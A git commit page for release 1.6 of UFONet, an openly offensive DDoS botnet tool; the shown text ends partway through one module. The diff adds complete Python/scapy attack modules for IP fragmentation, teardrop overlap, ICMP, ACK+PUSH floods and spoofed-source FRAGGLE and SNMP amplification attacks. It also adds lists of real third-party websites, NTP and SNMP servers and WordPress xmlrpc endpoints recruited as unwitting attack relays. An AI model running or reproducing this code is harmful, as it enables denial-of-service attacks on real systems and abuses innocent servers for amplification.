Browse Source

release v1.6 - M4RAuD3R

psy 3 years ago
parent
commit
627818d3a1

+ 1 - 1
Makefile

@@ -4,7 +4,7 @@ PYTHON=`which python`
 DESTDIR=/
 BUILDIR=$(CURDIR)/debian/ufonet
 PROJECT=ufonet
-VERSION=1.5
+VERSION=1.6
 
 all:
 	@echo "make source - Create source package"

+ 58 - 19
README.md

@@ -2,7 +2,7 @@
 
 ----------
 
- + Project Website:   https://ufonet.03c8.net
+ + Website:   https://ufonet.03c8.net
 
 ----------
 
@@ -22,6 +22,57 @@ and on the Layer3 (Network) abusing the protocol.
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-schema.png "UFONet Schema")
 
+   - LOIC: 
+     https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
+
+   - LORIS: 
+     https://en.wikipedia.org/wiki/Slowloris_(software)
+
+   - UFOSYN: 
+     https://en.wikipedia.org/wiki/SYN_flood
+
+   - FRAGGLE: 
+     https://en.wikipedia.org/wiki/Fraggle_attack
+
+   - UFORST: 
+     https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood
+
+   - SPRAY: 
+     https://en.wikipedia.org/wiki/DRDOS
+
+   - SMURF: 
+     https://en.wikipedia.org/wiki/Smurf_attack
+
+   - XMAS: 
+     https://en.wikipedia.org/wiki/Christmas_tree_packet
+
+   - DROPER: 
+     https://en.wikipedia.org/wiki/IP_fragmentation_attack
+
+   - SNIPER: 
+     https://www.imperva.com/learn/application-security/snmp-reflection/
+
+   - TACHYON: 
+     https://www.us-cert.gov/ncas/alerts/TA13-088A
+
+   - PINGER: 
+     https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/
+
+   - MONLIST: 
+     https://www.us-cert.gov/ncas/alerts/TA14-013A
+
+   - UFOACK: 
+     https://www.f5.com/services/resources/glossary/push-and-ack-flood
+
+   - OVERLAP: 
+     https://cyberhoot.com/cybrary/fragment-overlap-attack/
+
+   - UFOUDP: 
+     https://en.wikipedia.org/wiki/UDP_flood_attack
+
+   - NUKE: 
+     https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf
+
 ----------
 
 #### Installing:
@@ -78,33 +129,21 @@ in the [LICENSE](./docs/LICENSE) file.
 
 ####  Screenshots (current version!):
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-shell-1.png "UFONet Shell")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-shell-1.png "UFONet Shell")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-shell-2.png "UFONet Shell Board")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-shell-2.png "UFONet Shell Board")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-shell-3.png "UFONet GUI Shell")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-shell-3.png "UFONet GUI Shell")
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-main_small.png "UFONet GUI Main Panel")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-botnet_small.png "UFONet GUI Botnet")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-botnet.png "UFONet GUI Botnet")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-stats.png "UFONet GUI General Stats")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-stats.png "UFONet GUI General Stats")
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-ranking_small.png "UFONet GUI Ranking")
 
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-hydra-board_small.png "UFONet GUI Board/Forum")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-grid_small.png "UFONet GUI Crypto Grid Board")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-grid2_small.png "UFONet GUI Grid Stats")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-singularity-wargames_small.png "UFONet GUI Wargames")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-streams_small.png "UFONet GUI Streams")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-globalnet_small.png "UFONet GUI GlobalNet")
-
-  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-multiverse-attack_small.png "UFONet GUI Attack")
+  ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-marauder-attack.png "UFONet GUI Attack")
 
   ![UFONet](https://ufonet.03c8.net/ufonet/ufonet-gui3_small.png "UFONet GeoMap /deploying/")
 

+ 9 - 0
botnet/aliens.txt

@@ -1 +1,10 @@
 https://gtmetrix.com/analyze.html;$POST;url
+https://isitdown.co.uk/check/;$POST;domainname
+https://www.site24x7.com/check-website-availability.html;$POST;url
+https://nibbler.silktide.com/en_US/report/submit;$POST;url
+https://checkwebsiteonline.com/domain;$POST;url
+https://websitechecker.online/test_url;$POST;url
+https://isitdown.co.uk/check/;$POST;domainname
+https://wheresitup.com/demo/results;$POST;url
+https://sitedown.co/views/ajax;$POST;title
+https://onlinenoffline.com/tool/check-domain/result;$POST;domain_query

File diff suppressed because it is too large
+ 11561 - 0
botnet/dns.txt


+ 12 - 0
botnet/droids.txt

@@ -1 +1,13 @@
 https://jigsaw.w3.org/css-validator/validator?uri=$TARGET&profile=css3&usermedium=all&vextwarning=true
+https://www.openadmintools.com/en/$TARGET
+http://www.statscrop.com/www/$TARGET
+https://www.whatsmydns.net/#A/$TARGET
+http://sitecheck.sucuri.net/results/$TARGET
+https://www.sslshopper.com/ssl-checker.html#hostname=$TARGET
+http://developers.google.com/speed/pagespeed/insights/?url=$TARGET
+https://gsnedders.html5.org/outliner/process.py?url=$TARGET
+http://www.siteworthtraffic.com/report/$TARGET
+http://www.textise.net/showText.aspx?strURL=$TARGET
+http://www.htmlhelp.com/cgi-bin/validate.cgi?url=$TARGET&warnings=yes&spider=yes
+https://mxtoolbox.com/SuperTool.aspx?action=$TARGET
+https://sitepanic.com/?s=$TARGET

+ 110 - 0
botnet/ntp.txt

@@ -1 +1,111 @@
 185.144.161.170
+91.121.7.182
+81.16.47.5
+194.112.182.172
+129.6.15.29
+129.6.15.30
+129.6.15.27
+129.6.15.26
+132.163.97.1
+132.163.97.2
+132.163.97.3
+132.163.97.4
+132.163.97.6
+132.163.96.1
+132.163.96.2
+132.163.96.3
+132.163.96.4
+132.163.96.6
+132.163.97.7
+128.138.140.44
+128.138.141.172
+128.138.140.50
+194.35.252.7 	
+81.168.77.149
+194.164.127.6
+130.88.203.12
+130.88.200.4
+194.207.34.9
+193.201.200.83
+194.164.127.5
+194.164.127.4
+216.239.35.8
+139.78.97.128 
+137.92.140.80
+128.250.36.2
+138.194.21.154
+130.155.98.1
+130.95.156.206
+104.31.87.35
+103.126.53.123
+129.250.35.251
+146.164.48.5
+142.3.100.2
+52.34.132.170
+146.83.8.202
+200.54.149.24
+195.113.144.201
+131.188.3.220
+131.188.3.221
+131.188.3.222
+131.188.3.223
+130.149.17.21
+130.149.17.8
+192.53.103.108
+192.53.103.104
+129.69.1.153
+138.96.64.10
+145.238.203.14
+138.96.64.10
+140.203.204.77
+193.204.114.232
+193.204.114.233
+200.23.51.102
+193.67.79.202
+193.79.237.14
+129.242.4.241
+129.6.15.28
+150.254.190.51
+193.2.4.2
+118.189.138.5
+194.58.203.20
+194.58.203.148
+194.58.204.20
+194.58.204.148
+128.9.176.30
+208.91.196.74
+193.11.166.8
+193.11.166.20
+194.58.202.20
+194.58.202.148
+192.36.143.150
+192.36.143.151
+162.23.41.10
+195.186.1.100
+104.31.86.35
+193.62.22.98
+199.165.76.11
+204.123.2.5
+164.67.62.194
+149.20.64.28
+209.81.9.7
+192.12.19.20
+204.232.226.192
+208.91.196.74
+132.163.96.1
+132.163.96.2
+132.163.96.3
+132.163.96.4
+128.138.140.44
+192.5.41.209
+192.5.41.40
+128.4.1.1
+128.4.1.2
+128.175.60.175
+128.227.205.3
+130.207.244.240
+140.31.199.22
+96.126.107.76
+173.162.192.156
+192.101.21.1
+146.186.222.14

+ 63 - 0
botnet/rpcs.txt

@@ -1 +1,64 @@
 https://heightsmedia.com/xmlrpc.php
+http://www.ch-orthez.fr/xmlrpc.php
+http://178.62.42.31/xmlrpc.php
+http://131.220.122.225/xmlrpc.php
+http://192.81.222.191/xmlrpc.php
+http://104.236.21.36/xmlrpc.php
+http://128.199.97.120/xmlrpc.php
+http://122.117.66.52/xmlrpc.php
+http://apollomedia.de/xmlrpc.php
+http://www.lifequest-services.com/xmlrpc.php
+http://broketobooked.com/xmlrpc.php
+http://blog.libinpan.com/xmlrpc.php
+http://extensor.no/xmlrpc.php
+http://gotchacovered.bm/xmlrpc.php
+http://missionglobal.com/xmlrpc.php
+http://kompetensnavet.org/xmlrpc.php
+http://195.189.95.152/xmlrpc.php
+http://vatsim-scandinavia.org/xmlrpc.php
+http://www.skidmoreandhall.com/xmlrpc.php
+http://sgcl.ssu.ac.kr/xmlrpc.php
+http://stikespantirapih.ac.id/xmlrpc.php
+https://sifat.org/xmlrpc.php
+http://www.bankingonmainstreet.com/xmlrpc.php
+http://de.alanyatours.net/xmlrpc.php
+http://www.acupeace.com/xmlrpc.php
+http://www.aandd-ps.com/xmlrpc.php
+http://www.egpos.org/xmlrpc.php
+http://www.drivingsales.tv/xmlrpc.php
+http://www.idealvpn.com/xmlrpc.php
+http://www.meteo-agriculture.eu/xmlrpc.php
+http://www.formpac.com/xmlrpc.php
+http://www.mirchimusicawards.com/xmlrpc.php
+http://www.markgoessens.nl/xmlrpc.php
+http://www.openschooldns.com/xmlrpc.php
+http://www.theshawcentre.org.uk/xmlrpc.php
+http://www.fadhilza.com/xmlrpc.php
+http://www.tman.ca/hanas/xmlrpc.php
+http://www.supersupport.com/xmlrpc.php
+http://www.wheresmalta.com/xmlrpc.php
+http://www.unabashedresearch.com/xmlrpc.php
+http://blog.speedbit.com/xmlrpc.php
+http://clothingasconversation.com/xmlrpc.php
+http://preprod.chu-amiens.fr/xmlrpc.php
+http://wp.omni-tech.net/xmlrpc.php
+http://www.bedfactorycontracts.co.uk/xmlrpc.php
+http://www.zs18.wroc.pl/xmlrpc.php
+http://eldermet.ucc.ie/xmlrpc.php
+http://www.litteratureaudio.com/wordpress/xmlrpc.php
+http://digitalequality.net/xmlrpc.php
+http://www.niitsuhome.com/wp/xmlrpc.php
+http://www.fmfracing.com/wordpress/xmlrpc.php
+http://mpillumination.com/xmlrpc.php
+https://www.e-publicrealestate.gr/xmlrpc.php
+http://www.sbc4d.com/xmlrpc.php
+http://www.emotion.lu/xmlrpc.php
+https://mylivegym.gr/xmlrpc.php
+https://contributionliberatoire.com/xmlrpc.php
+https://eurocomment.eu/xmlrpc.php
+https://mett.nl/wp/xmlrpc.php
+https://coco-kikaku.com/wp/xmlrpc.php
+https://www.macbathsanitair.nl/xmlrpc.php
+https://www.stcutrecht.nl/xmlrpc.php
+https://www.fedegari.com/xmlrpc.php
+https://loloholodge.com/xmlrpc.php

+ 10 - 0
botnet/snmp.txt

@@ -0,0 +1,10 @@
+91.209.18.121
+141.0.173.136
+213.251.149.156
+188.166.0.146
+80.151.159.249
+146.247.132.41
+200.183.132.53
+50.78.18.195
+112.213.83.161
+94.176.237.178

+ 9 - 0
botnet/ucavs.txt

@@ -1 +1,10 @@
 https://website-down.com/
+https://isitup.org/
+https://www.downforeveryoneorjustme.com/
+https://www.isitdownrightnow.com/
+https://check-host.net/ip-info?host=
+https://www.isthissitedown.org/site/
+https://downdetector.com/search/?q=
+https://updowntoday.com/en/sites/
+https://isitdown.co.uk/
+https://www.isthissitedown.org/site/

File diff suppressed because it is too large
+ 6706 - 0
botnet/zombies.txt


File diff suppressed because it is too large
+ 510 - 38
core/main.py


+ 86 - 0
core/mods/droper.py

@@ -0,0 +1,86 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet IP FRAGMENTATION flooder (DROPER)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def droperize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            s_zombie_port = randInt() 
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [DROPER] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            TCP_l = TCP()
+            TCP_l.sport = s_zombie_port
+            TCP_l.dport = sport
+            try:
+                payload="A"*254+"B"*2 # 256b = 33frags
+                packet=IP(src=IP_p.src,dst=IP_p.dst,id=12345)/UDP(sport=TCP_l.sport,dport=TCP_l.dport)/payload
+                frags=fragment(packet,fragsize=2) # fragment size
+                for f in frags:
+                    send(f, verbose=0)
+                print("[Info] [AI] [DROPER] Firing 'deuterium bosons' ["+str(n)+"] -> [DROPING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [DROPER] Failed to engage with 'deuterium bosons' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [DROPER] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class DROPER(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] 'IP FRAGMENTATION' (DROPER) is ready to fire: [" , rounds, "deuterium bosons ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [DROPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        droperize(ip, sport, rounds) # attack with DROPER using threading

+ 108 - 0
core/mods/fraggle.py

@@ -0,0 +1,108 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+import urllib.parse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet UDP broadcast attack (FRAGGLE)
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def sIP(base_stations): # extract 'base stations'
+    bs = {}
+    s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
+    if not s_zombie in bs:
+        url = urllib.parse.urlparse(s_zombie)
+        try:
+            s_zombie_ip = socket.gethostbyname(url.netloc)
+            bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    s_zombie_ip = str(rd)
+                bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
+            except:
+                s_zombie_ip = s_zombie
+    else:
+        s_zombie_ip = bs.get(s_zombie)
+    return s_zombie_ip
+
+def fraggleize(ip, sport, rounds):
+    f = open('botnet/zombies.txt') # use 'zombies' as 'base stations'
+    base_stations = f.readlines()
+    base_stations = [ base_station.replace('\n','') for base_station in base_stations ]
+    f.close()
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            s_zombie_ip = sIP(base_stations)
+            if s_zombie_ip == None: # not any 'base stations' available
+                print("[Error] [AI] [FRAGGLE] Imposible to retrieve 'base stations' -> [Aborting!]\n")
+                break
+            seq = randInt()
+            window = randInt()
+            IP_p = IP()
+            try:
+                IP_p.src = ip # UDP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka FRAGGLE attack)
+            except:
+                print("[Error] [AI] [FRAGGLE] Imposible to resolve IP from target! -> [Aborting!]\n")
+                break
+            try:
+                IP_p.dst = s_zombie_ip
+            except:
+                print("[Error] [AI] [FRAGGLE] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
+                break
+            try:
+                send(IP_p/UDP(), verbose=0)
+                print("[Info] [AI] [FRAGGLE] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [FRAGGLE] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]")
+    except:
+        print("[Error] [AI] [FRAGGLE] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class FRAGGLE(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] UDP Broadcast (FRAGGLE) is redirecting: [" , rounds, "base stations ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [FRAGGLE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        fraggleize(ip, sport, rounds) # attack with FRAGGLE using threading

+ 0 - 0
core/mods/monlist.py


+ 82 - 0
core/mods/overlap.py

@@ -0,0 +1,82 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet IP FRAGMENTATION (by overlapping) flooder (OVERLAP)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def overlapize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            s_zombie_port = randInt() 
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [OVERLAP] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            try:
+                payload="A"*15
+                overlap="B"*9 # overlap size
+                send(IP(src=IP_p.src, dst=IP_p.dst, id=12345, flags=0x1, frag=0)/payload, verbose=0)
+                send(IP(src=IP_p.src, dst=IP_p.dst, id=12345, flags=0x0, frag=1)/overlap, verbose=0) # teardrop frag
+                print("[Info] [AI] [OVERLAP] Firing 'deuterium gravitons' ["+str(n)+"] -> [OVERLAPPING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [OVERLAP] Failed to engage with 'deuterium gravitons' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [OVERLAP] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class OVERLAP(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] 'IP OVERLAPPING' (OVERLAPGER) is ready to fire: [" , rounds, "deuterium gravitons ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [OVERLAP] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        overlapize(ip, sport, rounds) # attack with OVERLAP using threading

+ 78 - 0
core/mods/pinger.py

@@ -0,0 +1,78 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet ICMP (echo ping) attack (PINGER)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def pingerize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [PINGER] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            try:
+                send(IP_p/ICMP(), verbose=0)
+                print("[Info] [AI] [PINGER] Firing 'graphene bullets' ["+str(n)+"] -> [SHOOTING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [PINGER] Failed to engage with 'graphene bullets' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [PINGER] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class PINGER(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] ICMP (PINGER) is ready to fire: [" , rounds, "graphene bullets ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [PINGER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        pingerize(ip, sport, rounds) # attack with PINGER using threading

+ 0 - 7
core/mods/smurf.py

@@ -58,8 +58,6 @@ def smurfize(ip, sport, rounds):
             if s_zombie_ip == None: # not any 'base stations' available
                 print("[Error] [AI] [SMURF] Imposible to retrieve 'base stations' -> [Aborting!]\n")
                 break
-            seq = randInt()
-            window = randInt()
             IP_p = IP()
             try:
                 IP_p.src = ip # ICMP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka SMURF attack)
@@ -71,11 +69,6 @@ def smurfize(ip, sport, rounds):
             except:
                 print("[Error] [AI] [SMURF] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
                 break
-            TCP_l = TCP()
-            TCP_l.sport = sport
-            TCP_l.dport = sport
-            TCP_l.seq = seq
-            TCP_l.window = window
             try:
                 send(IP_p/ICMP(), verbose=0)
                 print("[Info] [AI] [SMURF] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]")

+ 71 - 0
core/mods/sniper.py

@@ -0,0 +1,71 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+snmp_file = "botnet/snmp.txt" # SNMP servers IP list
+
+oid ="1.3.6.1.2.1.1.1" # OID sysDescr 
+
+# UFONet SNMP Amplification (SNIPER) / [Port: UDP/161]
+def sniperize(ip, rounds):
+    n=0
+    try: # (SNMP) Amplification attack uses publically accessible SNMP servers to flood a target with SNMP response traffic
+        with open(snmp_file) as f: # extract SNMP servers from file
+            snmp_d = f.read().splitlines()
+        f.close()
+        p_num=0
+        for x in range (0,int(rounds)):
+            try:
+                n=n+1
+                print("[Info] [AI] [SNIPER] Breaking SNMP 'parsec' ["+str(n)+"] and remaking space-time on it! -> [SLOWING!]")
+                for j in snmp_d:
+                    p_num += 1
+                    packet = IP(dst=j,src=ip)/UDP(sport=random.randint(2000,65535),dport=161)/SNMP(version="v2c",community="public",PDU=SNMPbulk(id=RandNum(1,200000000),max_repetitions=100,varbindlist=[SNMPvarbind(oid=ASN1_OID(oid)), SNMPvarbind(oid=ASN1_OID(oid))]))
+                    try:
+                        send(packet, verbose=0) # not using sr1 because non-replies are required
+                        print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" IS INTERACTING WITH ["+str(j)+"] -> [AMPLIFYING!]")
+                    except:
+                        print(("[Info] [AI] [SNIPER] Broken SNMP 'parsec' [{}]".format(p_num))+" HAS FAILED to interact with ["+str(j)+"] -> [PASSING!]")
+            except:
+                print("[Error] [AI] [SNIPER] Failed breaking SNMP 'parsec' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [SNIPER] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class SNIPER(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] SNMP Amplification (SNIPER) is ready to broke: [" , rounds, "parsecs ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [SNIPER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        sniperize(ip, rounds) # attack with SNIPER using threading

+ 87 - 0
core/mods/ufoack.py

@@ -0,0 +1,87 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet TCP 'ACK+PUSH' packet attack (UFOACK)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def ackize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            s_zombie_port = randInt() 
+            seq = randInt()
+            window = randInt()
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [UFOACK] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            TCP_l = TCP()
+            TCP_l.sport = s_zombie_port
+            TCP_l.dport = sport
+            TCP_l.seq = seq
+            TCP_l.window = window
+            TCP_l.flags = "AP" # FLAGS SET (ACK+PUSH)
+            try:
+                send(IP_p/TCP_l, verbose=0)
+                print("[Info] [AI] [UFOACK] Firing 'ionized crystals' ["+str(n)+"] -> [IONIZING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [UFOACK] Failed to engage with 'ionized crystals' ["+str(n)+"]")
+    except:
